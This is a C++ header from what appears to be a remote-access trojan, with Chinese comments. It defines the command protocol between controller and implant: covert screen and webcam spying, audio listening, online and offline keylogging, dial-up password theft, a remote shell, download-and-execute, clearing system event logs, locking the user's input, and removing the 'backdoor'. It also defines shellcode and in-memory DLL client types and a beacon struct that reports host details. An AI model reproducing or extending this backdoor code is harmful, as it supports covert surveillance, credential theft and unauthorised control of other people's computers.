606 lines
16 KiB
C++
606 lines
16 KiB
C++
#pragma once
|
||
|
||
#include <vector>
|
||
#include <string>
|
||
#include <iosfwd>
|
||
#include <iostream>
|
||
#include <sstream>
|
||
#include <string.h>
|
||
#include <map>
|
||
#include <numeric>
|
||
#include <ctime>
|
||
#include <chrono>
|
||
|
||
#ifdef _WIN32
|
||
#include <concrt.h>
|
||
#include <corecrt_io.h>
|
||
#define MVirtualFree(a1, a2, a3) VirtualFree(a1, a2, a3)
|
||
#define MVirtualAlloc(a1, a2, a3, a4) VirtualAlloc(a1, a2, a3, a4)
|
||
#else // 使得该头文件在 LINUX 正常使用
|
||
#include <thread>
|
||
#define strcat_s strcat
|
||
#define sprintf_s sprintf
|
||
#define strcpy_s strcpy
|
||
#define __stdcall
|
||
#define WINAPI
|
||
#define TRUE 1
|
||
#define FALSE 0
|
||
#define skCrypt(p)
|
||
#define Mprintf printf
|
||
#define ASSERT(p)
|
||
#define AUTO_TICK_C(p)
|
||
#define AUTO_TICK(p)
|
||
#define OutputDebugStringA(p) printf(p)
|
||
|
||
#include <unistd.h>
|
||
#define Sleep(n) ((n) >= 1000 ? sleep((n) / 1000) : usleep((n) * 1000))
|
||
|
||
typedef int64_t __int64;
|
||
typedef uint32_t DWORD;
|
||
typedef int BOOL, SOCKET;
|
||
typedef unsigned int ULONG;
|
||
typedef unsigned int UINT;
|
||
typedef void VOID;
|
||
typedef unsigned char BYTE;
|
||
typedef BYTE* PBYTE, * LPBYTE;
|
||
typedef void* LPVOID, * HANDLE;
|
||
|
||
#define GET_PROCESS(a1, a2)
|
||
#define MVirtualFree(a1, a2, a3) delete[]a1
|
||
#define MVirtualAlloc(a1, a2, a3, a4) new BYTE[a2]
|
||
#define CopyMemory memcpy
|
||
#define MoveMemory memmove
|
||
|
||
#define INVALID_SOCKET -1
|
||
#define SOCKET_ERROR -1
|
||
#define closesocket close
|
||
#define CloseHandle(p)
|
||
#define CancelIo(p) close(reinterpret_cast<intptr_t>(p))
|
||
#endif
|
||
|
||
#include <string>
|
||
#include <vector>
|
||
#include <time.h>
|
||
|
||
#ifndef _MAX_PATH
|
||
#define _MAX_PATH 260
|
||
#endif
|
||
|
||
// 以下2个数字需全局唯一,否则在生成服务时会出问题
|
||
|
||
#define FLAG_FINDEN "Hello, World!"
|
||
|
||
#define FLAG_GHOST FLAG_FINDEN
|
||
|
||
// 当程序功能明显发生变化时,应该更新这个值,以便对被控程序进行区分
|
||
#define DLL_VERSION __DATE__ // DLL版本
|
||
|
||
#define TALK_DLG_MAXLEN 1024 // 最大输入字符长度
|
||
|
||
// 客户端状态: 1-被控端退出 2-主控端退出
|
||
enum State {
|
||
S_CLIENT_NORMAL = 0,
|
||
S_CLIENT_EXIT = 1,
|
||
S_SERVER_EXIT = 2,
|
||
S_CLIENT_UPDATE = 3,
|
||
};
|
||
|
||
// 命令枚举列表
|
||
enum
|
||
{
|
||
// 文件传输方式
|
||
TRANSFER_MODE_NORMAL = 0x00, // 一般,如果本地或者远程已经有,取消
|
||
TRANSFER_MODE_ADDITION, // 追加
|
||
TRANSFER_MODE_ADDITION_ALL, // 全部追加
|
||
TRANSFER_MODE_OVERWRITE, // 覆盖
|
||
TRANSFER_MODE_OVERWRITE_ALL, // 全部覆盖
|
||
TRANSFER_MODE_JUMP, // 覆盖
|
||
TRANSFER_MODE_JUMP_ALL, // 全部覆盖
|
||
TRANSFER_MODE_CANCEL, // 取消传送
|
||
|
||
// 控制端发出的命令
|
||
COMMAND_ACTIVED = 0x00, // 服务端可以激活开始工作
|
||
COMMAND_LIST_DRIVE, // 列出磁盘目录
|
||
COMMAND_LIST_FILES, // 列出目录中的文件
|
||
COMMAND_DOWN_FILES, // 下载文件
|
||
COMMAND_FILE_SIZE, // 上传时的文件大小
|
||
COMMAND_FILE_DATA, // 上传时的文件数据
|
||
COMMAND_EXCEPTION, // 传输发生异常,需要重新传输
|
||
COMMAND_CONTINUE, // 传输正常,请求继续发送数据
|
||
COMMAND_STOP, // 传输中止
|
||
COMMAND_DELETE_FILE, // 删除文件
|
||
COMMAND_DELETE_DIRECTORY, // 删除目录
|
||
COMMAND_SET_TRANSFER_MODE, // 设置传输方式
|
||
COMMAND_CREATE_FOLDER, // 创建文件夹
|
||
COMMAND_RENAME_FILE, // 文件或文件改名
|
||
COMMAND_OPEN_FILE_SHOW, // 显示打开文件
|
||
COMMAND_OPEN_FILE_HIDE, // 隐藏打开文件
|
||
|
||
COMMAND_SCREEN_SPY, // 屏幕查看
|
||
COMMAND_SCREEN_RESET, // 改变屏幕深度
|
||
COMMAND_ALGORITHM_RESET, // 改变算法
|
||
COMMAND_SCREEN_CTRL_ALT_DEL, // 发送Ctrl+Alt+Del
|
||
COMMAND_SCREEN_CONTROL, // 屏幕控制
|
||
COMMAND_SCREEN_BLOCK_INPUT, // 锁定服务端键盘鼠标输入
|
||
COMMAND_SCREEN_BLANK, // 服务端黑屏
|
||
COMMAND_SCREEN_CAPTURE_LAYER, // 捕捉层
|
||
COMMAND_SCREEN_GET_CLIPBOARD, // 获取远程剪贴版
|
||
COMMAND_SCREEN_SET_CLIPBOARD, // 设置远程剪帖版
|
||
|
||
COMMAND_WEBCAM, // 摄像头
|
||
COMMAND_WEBCAM_ENABLECOMPRESS, // 摄像头数据要求经过H263压缩
|
||
COMMAND_WEBCAM_DISABLECOMPRESS, // 摄像头数据要求原始高清模式
|
||
COMMAND_WEBCAM_RESIZE, // 摄像头调整分辩率,后面跟两个INT型的宽高
|
||
COMMAND_NEXT, // 下一步(控制端已经打开对话框)
|
||
|
||
COMMAND_KEYBOARD, // 键盘记录
|
||
COMMAND_KEYBOARD_OFFLINE, // 开启离线键盘记录
|
||
COMMAND_KEYBOARD_CLEAR, // 清除键盘记录内容
|
||
|
||
COMMAND_AUDIO, // 语音监听
|
||
|
||
COMMAND_SYSTEM, // 系统管理(进程,窗口....)
|
||
COMMAND_PSLIST, // 进程列表
|
||
COMMAND_WSLIST, // 窗口列表
|
||
COMMAND_DIALUPASS, // 拨号密码
|
||
COMMAND_KILLPROCESS, // 关闭进程
|
||
COMMAND_SHELL, // cmdshell
|
||
COMMAND_SESSION, // 会话管理(关机,重启,注销, 卸载)
|
||
COMMAND_REMOVE, // 卸载后门
|
||
COMMAND_DOWN_EXEC, // 其它功能 - 下载执行
|
||
COMMAND_UPDATE_SERVER, // 其它功能 - 下载更新
|
||
COMMAND_CLEAN_EVENT, // 其它管理 - 清除系统日志
|
||
COMMAND_OPEN_URL_HIDE, // 其它管理 - 隐藏打开网页
|
||
COMMAND_OPEN_URL_SHOW, // 其它管理 - 显示打开网页
|
||
COMMAND_RENAME_REMARK, // 重命名备注
|
||
COMMAND_REPLAY_HEARTBEAT, // 回复心跳包
|
||
COMMAND_SERVICES, // 服务管理
|
||
COMMAND_REGEDIT,
|
||
COMMAND_TALK, // 即时消息验证
|
||
COMMAND_UPDATE = 53, // 客户端升级
|
||
COMMAND_SHARE = 59, // 分享主机
|
||
COMMAND_PROXY = 60, // 代理映射
|
||
|
||
// 服务端发出的标识
|
||
TOKEN_AUTH = 100, // 要求验证
|
||
TOKEN_HEARTBEAT, // 心跳包
|
||
TOKEN_LOGIN, // 上线包
|
||
TOKEN_DRIVE_LIST, // 驱动器列表
|
||
TOKEN_FILE_LIST, // 文件列表
|
||
TOKEN_FILE_SIZE, // 文件大小,传输文件时用
|
||
TOKEN_FILE_DATA, // 文件数据
|
||
TOKEN_TRANSFER_FINISH, // 传输完毕
|
||
TOKEN_DELETE_FINISH, // 删除完毕
|
||
TOKEN_GET_TRANSFER_MODE, // 得到文件传输方式
|
||
TOKEN_GET_FILEDATA, // 远程得到本地文件数据
|
||
TOKEN_CREATEFOLDER_FINISH, // 创建文件夹任务完成
|
||
TOKEN_DATA_CONTINUE, // 继续传输数据
|
||
TOKEN_RENAME_FINISH, // 改名操作完成
|
||
TOKEN_EXCEPTION, // 操作发生异常
|
||
|
||
TOKEN_BITMAPINFO, // 屏幕查看的BITMAPINFO
|
||
TOKEN_FIRSTSCREEN, // 屏幕查看的第一张图
|
||
TOKEN_NEXTSCREEN, // 屏幕查看的下一张图
|
||
TOKEN_CLIPBOARD_TEXT, // 屏幕查看时发送剪帖版内容
|
||
|
||
TOKEN_WEBCAM_BITMAPINFO, // 摄像头的BITMAPINFOHEADER
|
||
TOKEN_WEBCAM_DIB, // 摄像头的图像数据
|
||
|
||
TOKEN_AUDIO_START, // 开始语音监听
|
||
TOKEN_AUDIO_DATA, // 语音监听数据
|
||
|
||
TOKEN_KEYBOARD_START, // 键盘记录开始
|
||
TOKEN_KEYBOARD_DATA, // 键盘记录的数据
|
||
|
||
TOKEN_PSLIST, // 进程列表
|
||
TOKEN_WSLIST, // 窗口列表
|
||
TOKEN_DIALUPASS, // 拨号密码
|
||
TOKEN_SHELL_START, // 远程终端开始
|
||
TOKEN_SERVERLIST, // 服务列表
|
||
COMMAND_SERVICELIST, // 刷新服务列表
|
||
COMMAND_SERVICECONFIG, // 服务端发出的标识
|
||
TOKEN_TALK_START, // 即时消息开始
|
||
TOKEN_TALKCMPLT, // 即时消息可重发
|
||
TOKEN_KEYFRAME=134, // 关键帧
|
||
|
||
TOKEN_REGEDIT = 200, // 注册表
|
||
COMMAND_REG_FIND, // 注册表 管理标识
|
||
TOKEN_REG_KEY,
|
||
TOKEN_REG_PATH,
|
||
COMMAND_BYE, // 被控端退出
|
||
SERVER_EXIT=205, // 主控端退出
|
||
|
||
SOCKET_DLLLOADER=210, // 客户端请求DLL
|
||
CMD_DLLDATA, // 响应DLL数据
|
||
CMD_MASTERSETTING = 215, // 主控设置
|
||
CMD_HEARTBEAT_ACK = 216, // 心跳回应
|
||
};
|
||
|
||
enum ProxyManager {
|
||
TOKEN_PROXY_CONNECT_RESULT,
|
||
TOKEN_PROXY_BIND_RESULT,
|
||
TOKEN_PROXY_CLOSE,
|
||
TOKEN_PROXY_DATA,
|
||
COMMAND_PROXY_CLOSE,
|
||
COMMAND_PROXY_CONNECT,
|
||
COMMAND_PROXY_DATA,
|
||
COMMAND_PROXY_CONNECT_HOSTNAME,
|
||
};
|
||
|
||
enum
|
||
{
|
||
CLIENT_TYPE_DLL = 0, // 客户端代码以DLL运行
|
||
CLIENT_TYPE_ONE = 1, // 客户端代码以单个EXE运行
|
||
CLIENT_TYPE_MEMEXE = -1, // 内存EXE运行
|
||
CLIENT_TYPE_MODULE = 2, // DLL需由外部程序调用
|
||
CLIENT_TYPE_SHELLCODE = 4, // Shellcode
|
||
CLIENT_TYPE_MEMDLL = 5, // 内存DLL运行
|
||
CLIENT_TYPE_LINUX = 6, // LINUX 客户端
|
||
};
|
||
|
||
enum {
|
||
SHARE_TYPE_YAMA = 0, // 分享给同类程序
|
||
SHARE_TYPE_HOLDINGHANDS = 1, // 分享给 HoldingHands: https://github.com/yuanyuanxiang/HoldingHands
|
||
};
|
||
|
||
inline const char* GetClientType(int typ) {
|
||
switch (typ)
|
||
{
|
||
case CLIENT_TYPE_DLL:
|
||
return "DLL";
|
||
case CLIENT_TYPE_ONE:
|
||
return "EXE";
|
||
case CLIENT_TYPE_MEMEXE:
|
||
return "MEXE";
|
||
case CLIENT_TYPE_MODULE:
|
||
return "DLL";
|
||
case CLIENT_TYPE_SHELLCODE:
|
||
return "SC";
|
||
case CLIENT_TYPE_MEMDLL:
|
||
return "MDLL";
|
||
case CLIENT_TYPE_LINUX:
|
||
return "LNX";
|
||
default:
|
||
return "DLL";
|
||
}
|
||
}
|
||
|
||
// 所连接的主控程序信息
|
||
typedef struct CONNECT_ADDRESS
|
||
{
|
||
public:
|
||
char szFlag[32];
|
||
char szServerIP[100];
|
||
char szPort[8];
|
||
int iType;
|
||
bool bEncrypt;
|
||
char szBuildDate[12];
|
||
int iMultiOpen;
|
||
char szReserved[134]; // 占位,使结构体占据300字节
|
||
|
||
public:
|
||
void SetType(int typ) {
|
||
iType = typ;
|
||
}
|
||
const void* Flag() const {
|
||
return szFlag;
|
||
}
|
||
int FlagLen() const {
|
||
return strlen(szFlag);
|
||
}
|
||
const char* ServerIP()const {
|
||
return szServerIP;
|
||
}
|
||
int ServerPort()const {
|
||
return atoi(szPort);
|
||
}
|
||
int ClientType()const {
|
||
return iType;
|
||
}
|
||
// return true if modified
|
||
bool SetServer(const char* ip, int port, bool e = false) {
|
||
if (ip == NULL || strlen(ip) <= 0 || port <= 0)
|
||
return false;
|
||
bool modified = bEncrypt != e || strcmp(ServerIP(), ip) != 0 || port != ServerPort();
|
||
bEncrypt = e;
|
||
strcpy_s(szServerIP, ip);
|
||
sprintf_s(szPort, "%d", port);
|
||
|
||
return modified;
|
||
}
|
||
bool IsValid()const {
|
||
return strlen(szServerIP) != 0 && atoi(szPort) > 0;
|
||
}
|
||
int Size() const {
|
||
return sizeof(CONNECT_ADDRESS);
|
||
}
|
||
} CONNECT_ADDRESS ;
|
||
|
||
// 将字符串按指定字符分隔为向量
|
||
inline std::vector<std::string> StringToVector(const std::string& str, char ch, int reserved = 1) {
|
||
// 使用字符串流来分隔字符串
|
||
std::istringstream stream(str);
|
||
std::string item;
|
||
std::vector<std::string> result;
|
||
|
||
// 按分号分隔字符串
|
||
while (std::getline(stream, item, ch)) {
|
||
result.push_back(item); // 将分隔出来的子字符串添加到结果向量中
|
||
}
|
||
while (result.size() < reserved)
|
||
result.push_back("");
|
||
|
||
return result;
|
||
}
|
||
|
||
// 服务上线后发送的计算机信息
|
||
// 此结构体一旦发生变化(比如大小),则以前版本的客户端无法连接新版主控.
|
||
// 新版客户端也无法连接老版本的主控程序.
|
||
// 为此,自20241228提交以来,为这个结构体预留字段,以便未来之不时之需
|
||
// 请勿再修改此结构体,除非你决定不再兼容以前的程序或者单独编写代码来兼容
|
||
typedef struct LOGIN_INFOR
|
||
{
|
||
unsigned char bToken; // 1.登陆信息
|
||
char OsVerInfoEx[156]; // 2.版本信息
|
||
unsigned int dwCPUMHz; // 3.CPU主频
|
||
char moduleVersion[24]; // 4.DLL模块版本
|
||
char szPCName[_MAX_PATH]; // 5.主机名
|
||
int bWebCamIsExist; // 6.是否有摄像头
|
||
unsigned int dwSpeed; // 7.网速
|
||
char szStartTime[20]; // 8.启动时间
|
||
char szReserved[512]; // 9.保留字段
|
||
|
||
LOGIN_INFOR(){
|
||
memset(this, 0, sizeof(LOGIN_INFOR));
|
||
bToken = TOKEN_LOGIN;
|
||
strcpy_s(moduleVersion, DLL_VERSION);
|
||
}
|
||
LOGIN_INFOR& Speed(unsigned long speed) {
|
||
dwSpeed = speed;
|
||
return *this;
|
||
}
|
||
void AddReserved(const char* v) {
|
||
if (strlen(szReserved))
|
||
strcat_s(szReserved, "|");
|
||
if (strlen(szReserved) + strlen(v) < sizeof(szReserved))
|
||
strcat_s(szReserved, v);
|
||
}
|
||
void AddReserved(int n) {
|
||
if (strlen(szReserved))
|
||
strcat_s(szReserved, "|");
|
||
char buf[24] = {};
|
||
sprintf_s(buf, "%d", n);
|
||
if (strlen(szReserved) + strlen(buf) < sizeof(szReserved))
|
||
strcat_s(szReserved, buf);
|
||
}
|
||
void AddReserved(double f) {
|
||
if (strlen(szReserved))
|
||
strcat_s(szReserved, "|");
|
||
char buf[24] = {};
|
||
sprintf_s(buf, "%.2f", f);
|
||
if (strlen(szReserved) + strlen(buf) < sizeof(szReserved))
|
||
strcat_s(szReserved, buf);
|
||
}
|
||
std::vector<std::string> ParseReserved(int n = 1) const {
|
||
return StringToVector(szReserved, '|', n);
|
||
}
|
||
}LOGIN_INFOR;
|
||
|
||
// 固定1024字节
|
||
typedef struct Heartbeat
|
||
{
|
||
uint64_t Time;
|
||
char ActiveWnd[512];
|
||
int Ping;
|
||
int HasSoftware;
|
||
char Reserved[496];
|
||
|
||
Heartbeat() {
|
||
memset(this, 0, sizeof(Heartbeat));
|
||
}
|
||
Heartbeat(const std::string& s, int ping = 0) {
|
||
auto system_ms = std::chrono::time_point_cast<std::chrono::milliseconds>(
|
||
std::chrono::system_clock::now()
|
||
);
|
||
Time = system_ms.time_since_epoch().count();
|
||
strcpy_s(ActiveWnd, s.c_str());
|
||
Ping = ping;
|
||
memset(Reserved, 0, sizeof(Reserved));
|
||
}
|
||
int Size() const {
|
||
return sizeof(Heartbeat);
|
||
}
|
||
}Heartbeat;
|
||
|
||
typedef struct HeartbeatACK {
|
||
uint64_t Time;
|
||
char Reserved[24];
|
||
}HeartbeatACK;
|
||
|
||
// 固定500字节
|
||
typedef struct MasterSettings {
|
||
int ReportInterval; // 上报间隔
|
||
int Is64Bit; // 主控是否64位
|
||
char MasterVersion[12]; // 主控版本
|
||
int DetectSoftware; // 检测软件
|
||
char Reserved[476]; // 预留
|
||
}MasterSettings;
|
||
|
||
enum
|
||
{
|
||
SOFTWARE_CAMERA = 0,
|
||
SOFTWARE_TELEGRAM,
|
||
|
||
SHELLCODE = 0,
|
||
MEMORYDLL = 1,
|
||
};
|
||
|
||
typedef DWORD(__stdcall* PidCallback)(void);
|
||
|
||
inline const char* EVENTID(PidCallback pid) {
|
||
static char buf[64] = { 0 };
|
||
if (buf[0] == 0) {
|
||
sprintf_s(buf, "SERVICE [%d] FINISH RUNNING", pid());
|
||
}
|
||
return buf;
|
||
}
|
||
|
||
#define EVENT_FINISHED EVENTID(GetCurrentProcessId)
|
||
|
||
inline void xor_encrypt_decrypt(unsigned char *data, int len, const std::vector<char>& keys) {
|
||
for (char key : keys) {
|
||
for (int i = 0; i < len; ++i) {
|
||
data[i] ^= key;
|
||
}
|
||
}
|
||
}
|
||
|
||
inline std::tm ToPekingTime(const time_t* t) {
|
||
// 获取当前时间(如果传入的指针为空)
|
||
std::time_t now = (t == nullptr) ? std::time(nullptr) : *t;
|
||
|
||
// 线程安全地转换为 UTC 时间
|
||
std::tm utc_time{};
|
||
|
||
#ifdef _WIN32 // Windows 使用 gmtime_s
|
||
if (gmtime_s(&utc_time, &now) != 0) {
|
||
return { 0, 0, 0, 1, 0, 100 }; // 失败时返回 2000-01-01 00:00:00
|
||
}
|
||
#else // Linux / macOS 使用 gmtime_r
|
||
if (gmtime_r(&now, &utc_time) == nullptr) {
|
||
return { 0, 0, 0, 1, 0, 100 };
|
||
}
|
||
#endif
|
||
|
||
// 转换为北京时间(UTC+8)
|
||
utc_time.tm_hour += 8;
|
||
|
||
// 规范化时间(处理溢出,如跨天)
|
||
std::mktime(&utc_time);
|
||
|
||
return utc_time;
|
||
}
|
||
|
||
inline std::string ToPekingTimeAsString(const time_t* t) {
|
||
auto pekingTime = ToPekingTime(t);
|
||
char buffer[20];
|
||
std::strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", &pekingTime);
|
||
return buffer;
|
||
}
|
||
|
||
#ifdef _DEBUG
|
||
// 为了解决远程桌面屏幕花屏问题而定义的宏,仅调试时使用,正式版本没有
|
||
#define SCREENYSPY_IMPROVE 0
|
||
#define SCREENSPY_WRITE 0
|
||
#endif
|
||
|
||
#ifdef _WIN32
|
||
|
||
#ifdef _WINDOWS
|
||
#include <afxwin.h>
|
||
#else
|
||
#define WIN32_LEAN_AND_MEAN
|
||
#include <windows.h>
|
||
#endif
|
||
|
||
// 将内存中的位图写入文件
|
||
inline bool WriteBitmap(LPBITMAPINFO bmpInfo, const void* bmpData, const std::string& filePrefix, int index = -1) {
|
||
char path[_MAX_PATH];
|
||
if (filePrefix.size() >= 4 && filePrefix.substr(filePrefix.size() - 4) == ".bmp") {
|
||
strcpy_s(path, filePrefix.c_str());
|
||
}
|
||
else {
|
||
sprintf_s(path, ".\\bmp\\%s_%d.bmp", filePrefix.c_str(), index == -1 ? clock() : index);
|
||
}
|
||
FILE* File = fopen(path, "wb");
|
||
if (File) {
|
||
BITMAPFILEHEADER fileHeader = { 0 };
|
||
fileHeader.bfType = 0x4D42; // "BM"
|
||
fileHeader.bfSize = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + bmpInfo->bmiHeader.biSizeImage;
|
||
fileHeader.bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER);
|
||
|
||
fwrite(&fileHeader, 1, sizeof(BITMAPFILEHEADER), File);
|
||
fwrite(&bmpInfo->bmiHeader, 1, sizeof(BITMAPINFOHEADER), File);
|
||
fwrite(bmpData, 1, bmpInfo->bmiHeader.biSizeImage, File);
|
||
fclose(File);
|
||
return true;
|
||
}
|
||
return false;
|
||
}
|
||
|
||
class MSG32 { // 自定义控制消息(32位)
|
||
public:
|
||
uint32_t hwnd;
|
||
uint32_t message;
|
||
uint32_t wParam;
|
||
uint32_t lParam;
|
||
uint32_t time;
|
||
POINT pt;
|
||
|
||
MSG32(const void* buffer, int size) {
|
||
if (size == sizeof(MSG32)) {
|
||
memcpy(this, buffer, sizeof(MSG32));
|
||
}
|
||
else {
|
||
memset(this, 0, sizeof(MSG32));
|
||
}
|
||
}
|
||
|
||
MSG32() {
|
||
memset(this, 0, sizeof(MSG32));
|
||
}
|
||
|
||
MSG32* Create(const void* buffer, int size) {
|
||
if (size == sizeof(MSG32)) {
|
||
memcpy(this, buffer, sizeof(MSG32));
|
||
}
|
||
else {
|
||
memset(this, 0, sizeof(MSG32));
|
||
}
|
||
return this;
|
||
}
|
||
};
|
||
|
||
// Windows 自定义的消息MSG在32位和64位系统下大小不同,导致跨平台架构远程控制异常
|
||
// 需要使用自定义的消息(统一采用64位windows 的MSG定义)
|
||
class MSG64 { // 自定义控制消息(64位)
|
||
public:
|
||
uint64_t hwnd;
|
||
uint64_t message;
|
||
uint64_t wParam;
|
||
uint64_t lParam;
|
||
uint64_t time;
|
||
POINT pt;
|
||
|
||
MSG64(const MSG& msg) :hwnd((uint64_t)msg.hwnd), message(msg.message), wParam(msg.wParam),
|
||
lParam(msg.lParam), time(msg.time), pt(msg.pt) {}
|
||
|
||
MSG64(const MSG32& msg) :hwnd((uint64_t)msg.hwnd), message(msg.message), wParam(msg.wParam),
|
||
lParam(msg.lParam), time(msg.time), pt(msg.pt) {}
|
||
|
||
MSG64(const void* buffer, int size) {
|
||
if (size == sizeof(MSG64)) {
|
||
memcpy(this, buffer, sizeof(MSG64));
|
||
}
|
||
else {
|
||
memset(this, 0, sizeof(MSG64));
|
||
}
|
||
}
|
||
|
||
MSG64() {
|
||
memset(this, 0, sizeof(MSG64));
|
||
}
|
||
|
||
MSG64* Create(const MSG32* msg32) {
|
||
hwnd = msg32->hwnd;
|
||
message = msg32->message;
|
||
wParam = msg32->wParam;
|
||
lParam = msg32->lParam;
|
||
time = msg32->time;
|
||
pt = msg32->pt;
|
||
return this;
|
||
}
|
||
};
|
||
|
||
#endif
|